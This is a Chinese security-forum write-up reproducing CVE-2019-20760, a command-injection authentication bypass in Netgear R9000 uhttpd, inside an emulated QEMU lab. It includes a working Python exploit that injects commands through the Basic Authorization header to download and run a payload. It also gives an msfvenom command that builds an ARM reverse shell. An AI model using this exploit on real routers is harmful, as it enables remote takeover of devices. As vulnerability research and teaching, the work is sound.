吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 2944|回复: 9
收起左侧

[CTF] [Netgear]CVE-2019-20760

[复制链接]
R00tkit 发表于 2023-10-7 00:00
本帖最后由 R00tkit 于 2024-5-16 14:29 编辑

此文已投给蚁景网安,蚁景网安公众号[链接]([u]https://mp.weixin.qq.com/s/zMzZSUbN_4Dtub6AiT9o7g[/color])。

[Netgear]CVE-2019-20760

漏洞概述

  • 漏洞服务: uhttpd
  • 漏洞类型: 远程命令执行
  • 影响范围: 1.0.4.26之前的NETGEAR R9000设备会受到身份验证绕过的影响
  • 解决建议: 更新版本

漏洞复现

  • 操作环境: ubuntu:22.04
  • qemu-version: 8.1.1

仿真环境

wget https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.26.zip

下载固件。

 binwalk -Mer R9000-V1.0.4.26.img 

1

1

可通过 binwalk 常规解压获得文件系统。

2

2

检查 ELF32 文件架构为 arm-32-little

wget https://file.erlkonig.tech/debian-armhf/wheezy/debian_wheezy_armhf_standard.qcow2
wget https://file.erlkonig.tech/debian-armhf/wheezy/initrd.img-3.2.0-4-vexpress
wget https://file.erlkonig.tech/debian-armhf/wheezy/vmlinuz-3.2.0-4-vexpress

下载合适的虚拟机映像。

#!/bin/sh
# 参考《CTF实战》by ChaMd5
# 'ens33': The NIC is that can connect internet
#sudo ifconfig eth0 down                 # 首先关闭宿主机网卡接口
sudo brctl addbr br0                     # 添加一座名为 br0 的网桥
sudo brctl addif br0 ens33               # 在 br0 中添加一个接口
sudo brctl stp br0 off                   # 如果只有一个网桥,则关闭生成树协议
sudo brctl setfd br0 1                   # 设置 br0 的转发延迟
sudo brctl sethello br0 1                # 设置 br0 的 hello 时间
sudo ifconfig br0 0.0.0.0 promisc up     # 启用 br0 接口
sudo ifconfig ens33 0.0.0.0 promisc up   # 启用网卡接口
sudo dhclient br0                        # 从 dhcp 服务器获得 br0 的 IP 地址
sudo brctl show br0                      # 查看虚拟网桥列表
sudo brctl showstp br0                   # 查看 br0 的各接口信息
sudo tunctl -t tap0 -u root              # 创建一个 tap0 接口,只允许 root 用户访问
sudo brctl addif br0 tap0                # 在虚拟网桥中增加一个 tap0 接口
sudo ifconfig tap0 0.0.0.0 promisc up    # 启用 tap0 接口
sudo brctl showstp br0

3

3

配置网络。

#!/bin/sh
qemu-system-arm \
    -M vexpress-a9 \
    -kernel vmlinuz-3.2.0-4-vexpress \
    -initrd initrd.img-3.2.0-4-vexpress \
    -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
    -append "root=/dev/mmcblk0p2 console=ttyAMA0" \
    -net nic -net tap,ifname=tap0,script=no,downscript=no \
    -nographic
-M                          # 选择开发板​
-m                            # 指定内存大小
-drive                         # 定义存储驱动器​
file=                         # 定义镜像文件​
-net nic                       # 创建客户机网卡​
-net tap                    # 创建 tap 设备,以桥接方式跟宿主机通信​
ifname=virtual0             # tap 设备与名为 virtual0 的虚拟网卡进行桥接通信​
-nographic                  # 以非图形化模式启动​
-append                        # 内核启动附加参数​
-console=ttyAMA0            # console指向串口,有此启动参数,内核启动日志才能输出到宿主机终端
-nographic                    # 不再启用额外的终端界面

4

4

5

5

启动 qemu-system-armhf 环境,默认用户名密码都为 root

ifconfig eth0 192.168.152.168/24

6

6

qemu-system-armhf 配置静态 IP

tar -cvf squashfs-root.tar.gz squashfs-root/
python3 -m http.server

7

7

8

8

将文件根系统打包,然后利用 python3http.server 模块下载到 qemu-system-armhf  的根目录中并用 tar xvf squashfs-root.tar.gz 解压。

cd /squashfs-root
mount --bind /proc proc # proc目录是一个虚拟文件系统,可以为linux用户空间和内核空间提供交互
mount --bind /dev dev   # /dev/下的设备是通过创建设备节点生成的,用户通过此设备节点来访问内核里的驱动
chroot . sh

9

9

因为 chroot 会导致无法在隔离的文件系统中访问原本的 /proc和  /dev 目录,这里利用 mount 命令将 qemu-system-armhf  的 procdev 目录挂在到 squashfs-root 中,并更换根目录为 squashfs-root

Web模拟

find -name uhttpd
cat ./etc/init.d/uhttpd
# ./etc/init.d/uhttpd
...
start() {
    #config_load uhttpd
    #config_foreach start_instance uhttpd

    #mkdir /tmp/www
    #cp -rf /usr/www/* /tmp/www

    /www/cgi-bin/uhttpd.sh start
    inetd
    detplc
    #for bug58012
    touch /tmp/fwcheck_status
}
...

查找 uhttpd 的相关文件。

#!/bin/sh

REALM=`/bin/cat /module_name | sed 's/\n//g'`
UHTTPD_BIN="/usr/sbin/uhttpd"
PX5G_BIN="/usr/sbin/px5g"

uhttpd_stop()
{
    kill -9 $(pidof uhttpd)
}

uhttpd_start()
{
        $UHTTPD_BIN -h /www -r ${REALM}  -x /cgi-bin -t 70 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443
}

case "$1" in
    stop)
        uhttpd_stop
    ;;
    start)
        uhttpd_start
    ;;
    restart)
        uhttpd_stop
        uhttpd_start
    ;;
    *)
        logger -- "usage: $0 start|stop|restart"
    ;;
esac

10

10

查看 start() 函数中利用的 /www/cgi-bin/uhttpd.sh 脚本。发现启动命令为 $UHTTPD_BIN -h /www -r ${REALM}  -x /cgi-bin -t 70 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443 其中 REALM = R9000UHTTPD_BIN = /usr/sbin/uhttpd。我们无需开启 https,所以启动命令为 /usr/sbin/uhttpd -h /www -r R9000 -x /cgi-bin -t 70 -p 0.0.0.0:80

逆向分析

wget https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.28.zip

获取修复版本的固件。因为源码较为繁杂,我们通过 Bindiff 进行二进制比对,来查找漏洞点。

11

11

shift+D 选取修复版本的 /usr/sbin/uhttpd 文件即可,主要查看登录验证的 uh_cgi_auth_check() 函数。

  memset(s, 0, 0x1000u);
  v14 = strlen(v13);
  uh_b64decode(s, 0xFFF, v13 + 6, v14 - 6);
  v15 = strchr(s, ':');
  if ( !v15 )
  {
LABEL_32:
    v16 = 0;
    v17 = 0;
    goto LABEL_15;
  }
  v16 = v15 + 1;
  *v15 = 0;
  if ( v15 != (char *)0xFFFFFFFF )
  {
    snprintf(command, 0x80u, "/usr/sbin/hash-data -e %s >/tmp/hash_result", v15 + 1);
    system(command);
    v3 = cat_file(73805);
  }
  v17 = s

漏洞版本 base64 解密后 snprintf() 后直接传给 system() 执行,这里会把 v15(:)后面的内容放到 %s 处,记得加\n来执行多条指令。

  memset(s, 0, 0x1000u);
  v15 = strlen(v14);
  uh_b64decode(s, 4095, v14 + 6, v15 - 6);
  v16 = strchr(s, 58);
  if ( !v16 )
  {
LABEL_15:
    v17 = 0;
    v18 = 0;
    goto LABEL_16;
  }
  v17 = v16 + 1;
  *v16 = 0;
  if ( v16 != (char *)-1 )
  {
    v18 = s;
    dni_system("/tmp/hash_result", 0, 0, "/usr/sbin/hash-data", "-e", v17, 0);
    v19 = cat_file("/tmp/hash_result");
    goto LABEL_17;
  }

而修复版本则利用 dni_system() 执行,只可控参数。

获取权限

poc:

#!/usr/bin/python3

from pwn import *
import requests
import base64

cmd  = 'admin:'
cmd += '`'
cmd += 'wget http://192.168.152.167:8000/shell.elf\n'
cmd += 'chmod 777 ./shell.elf\n'
cmd += './shell.elf\n'
cmd += '`'

assert(len(cmd) < 255)

cmd_b64 = base64.b64encode(cmd.encode()).decode()

headers = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
    "Accept-Encoding": "gzip, deflate",
    "Connection": "keep-alive",
    "Upgrade-Insecure-Requests": "1",
    "Authorization": "Basic " + cmd_b64
}

def attack():
    try:
        requests.get("http://192.168.152.168/cgi-bin/", headers=headers, timeout=3)
    except Exception as e:
        print(e)

attack()
msfvenom -p linux/armle/shell_reverse_tcp LHOST=192.168.152.167 LPORT=10086 -f elf > shell.elf

利用 msf 生成对应架构的木马程序,然后在shell.elf所在的目录开启http服务,利用漏洞将木马程序下载下来。

12

12

启动监听,并执行 exp.py

13

13

成功获取 shell,我们利用获取的权限在 www 目录创建 flag.txt 文件然后访问它。

14

14

成功创建。


免费评分

参与人数 5威望 +1 吾爱币 +24 热心值 +4 收起 理由
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
SYWZWL + 1 + 1 我很赞同!
emmet_mayi + 1 感谢您的宝贵建议,我们会努力争取做得更好!
darklure + 1 + 1 热心回复!
hrh123 + 1 + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

LuckyClover 发表于 2023-10-7 08:31
顶一下,感谢分享
darklure 发表于 2023-10-7 09:33
hjm1206 发表于 2023-10-7 10:20
z6603263 发表于 2023-10-7 11:53
支持楼主·细心阅读,学习进步~
头像被屏蔽
source888 发表于 2023-10-7 12:40
提示: 作者被禁止或删除 内容自动屏蔽
qwwhangbiao 发表于 2023-10-7 20:25
感谢分享
SYWZWL 发表于 2023-10-8 09:23
谢谢分享
vbuser 发表于 2023-10-8 15:40
这个牛B!!!!
mfpss95134 发表于 2023-10-9 16:40
太猛太牛了,看到一半发现自己程度太差了...有待学习
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-15 10:42

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表